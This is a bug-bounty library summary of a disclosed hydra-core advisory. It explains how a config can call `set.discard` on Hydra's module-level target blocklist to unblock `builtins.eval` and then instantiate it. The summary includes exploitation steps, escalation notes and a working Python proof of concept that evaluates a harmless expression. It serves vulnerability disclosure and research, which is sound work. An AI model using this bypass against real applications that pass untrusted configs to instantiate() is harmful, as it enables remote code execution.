# Hydra: Mutable instantiate policy sets allow target blocklist bypass

Hydra's mutable module-level target blocklist can be mutated via a config-resolved `.discard()` bound method, letting a sibling `_target_` instantiate a blocked callable like `builtins.eval`.

- Payout: Research
- Severity: high
- Program: Hydra
- Found by: AAtomical
- Disclosed: 2026-10-07
- CVE: CVE-2026-106439
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mwj6-rfh8-7qf4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mwj6-rfh8-7qf4
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:misconfiguration vuln:rce

**Target:** hydra-core `instantiate()` legacy/default path (no execution whitelist)
**Root cause:** Target blocklists and execution-policy collections are mutable module-level state, and `_locate()` resolves attributes on imported objects, so a config can resolve a bound mutation method (e.g. `set.discard`) and alter the active policy before a sibling node is authorized.
**Steps:**
1. Identify mutable policy state: `hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS` (1.3.6) or `hydra._internal.instantiate._instantiate2.DEFAULT_BLOCKLISTED_MODULES` (1.3.4/1.3.5).
2. Build a config with a first sibling `_target_` of `hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS.discard` and `_args_: ["builtins.eval"]` to remove the entry.
3. Add a second sibling `_target_: "builtins.eval"` with `_args_: ["40 + 2"]`; siblings are processed in insertion order against the same mutated module-level set.
4. Call `instantiate(OmegaConf.create({...}))`; the second node now passes authorization and returns 42.
5. Restore state in a `finally` block (`UNCONTROLLED_EXECUTION_TARGETS.add(target)`) since mutation persists process-wide.
**How found:** Noticed that `_locate()` resolves attributes on imported objects, so a `_target_` string could point at a bound mutation method on the module-level policy set rather than a callable target; tested whether sibling ordering let the mutation land before the blocked target was authorized.
**Exploitation:** Attacker supplies untrusted OmegaConf config to `instantiate()`; the first sibling resolves the bound `set.discard` method and strips a denied target from the process-global blocklist, then the second sibling instantiates that now-unblocked target (e.g. `builtins.eval`), achieving code execution. Mutation persists for the process lifetime.
**Escalation:** Any other runtime policy collection can be attacked the same way by removing denied entries or adding entries to exception sets; persistence across the process lifetime widens impact beyond a single call.
**Insight:** When a framework's denylist lives in mutable module-level state and its resolver can reach arbitrary attributes on imported modules, look for bound mutator methods (`set.discard`, `list.append`, `dict.pop`) as `_target_` values — and check whether sibling nodes are evaluated in order against shared state.

## Proof of concept (copied exactly from the original report)

**Python PoC mutating blocklist then instantiating eval**

```
from omegaconf import OmegaConf

from hydra._internal.target_policy import UNCONTROLLED_EXECUTION_TARGETS
from hydra.utils import instantiate

target = "builtins.eval"
assert target in UNCONTROLLED_EXECUTION_TARGETS

try:
    result = instantiate(
        OmegaConf.create(
            {
                "disarm": {
                    "_target_": (
                        "hydra._internal.target_policy."
                        "UNCONTROLLED_EXECUTION_TARGETS.discard"
                    ),
                    "_args_": [target],
                },
                "proof": {
                    "_target_": target,
                    "_args_": ["40 + 2"],
                },
            }
        )
    )

    assert result["proof"] == 42
    assert target not in UNCONTROLLED_EXECUTION_TARGETS
finally:
    UNCONTROLLED_EXECUTION_TARGETS.add(target)
```

